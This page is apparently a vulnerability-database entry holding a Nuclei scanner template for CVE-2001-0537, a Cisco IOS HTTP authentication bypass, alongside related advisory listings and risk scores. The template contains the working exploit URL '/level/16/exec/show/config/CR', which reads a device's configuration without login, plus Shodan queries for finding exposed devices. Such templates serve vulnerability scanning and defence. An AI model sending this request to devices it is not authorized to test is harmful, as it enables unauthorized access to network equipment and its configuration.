Cisco IOS HTTP Configuration - Authentication Bypass
| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
 | CVE-2001-0537 | 29 May 201815:50 | – | circl |
 | IOS HTTP Authorization Vulnerability | 27 Jun 200115:00 | – | cisco |
 | IOS HTTP Authorization Vulnerability - Cisco Systems | 1 Sep 201000:00 | – | nessus |
| Cisco IOS HTTP Configuration Unauthorized Administrative Access | 2 Jul 200100:00 | – | nessus |
 | Cisco IOS HTTP Authentication Bypass - Ver2 (CVE-2001-0537) | 3 Mar 201400:00 | – | checkpoint_advisories |
 | CVE-2001-0537 | 9 Mar 200205:00 | – | cve |
 | CVE-2001-0537 | 9 Mar 200205:00 | – | cvelist |
 | Exploit for CVE-2000-0114 | 30 Jul 202413:29 | – | gitee |
 | Cisco IOS 11.x/12.x - HTTP Configuration Arbitrary Administrative Access (1) | 27 Jun 200100:00 | – | exploitdb |
| Cisco IOS 11.x/12.x - HTTP Configuration Arbitrary Administrative Access (2) | 27 Jun 200100:00 | – | exploitdb |
10
id: CVE-2001-0537
info:
name: Cisco IOS HTTP Configuration - Authentication Bypass
author: DhiyaneshDK
severity: critical
description: |
HTTP server for Cisco IOS 11.3 to 12.2 allows attackers to bypass authentication and execute arbitrary commands, when local authorization is being used, by specifying a high access level in the URL.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access to the affected device.
remediation: |
Apply the appropriate patch or upgrade to a fixed version of the Cisco IOS software.
reference:
- https://www.rapid7.com/db/modules/auxiliary/scanner/http/cisco_ios_auth_bypass/
- https://nvd.nist.gov/vuln/detail/CVE-2001-0537
- http://www.ciac.org/ciac/bulletins/l-106.shtml
- https://exchange.xforce.ibmcloud.com/vulnerabilities/6749
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:C/I:C/A:C
cvss-score: 9.3
cve-id: CVE-2001-0537
cwe-id: CWE-287
epss-score: 0.6845
epss-percentile: 0.99265
cpe: cpe:2.3:o:cisco:ios:11.3:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: cisco
product: ios
shodan-query:
- product:"Cisco IOS http config" && 200
- product:"cisco ios http config"
- cpe:"cpe:2.3:o:cisco:ios"
tags: cve,cve2001,cisco,ios,auth-bypass,vkev,vuln
http:
- method: GET
path:
- '{{BaseURL}}/level/16/exec/show/config/CR'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'service config'
- 'Switch'
- 'default-gateway'
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100fac213c724a477c5c39d8f98a2f2bc1d2570448caf14b2670f3586196e0ce870022002946fc18682f32d79dffb9ad1273f96c65f47f2605f2ef5747565437110ff5b:922c64590222798bb761d5b6d8e72950Data
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04 Feb 2026 07:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.6845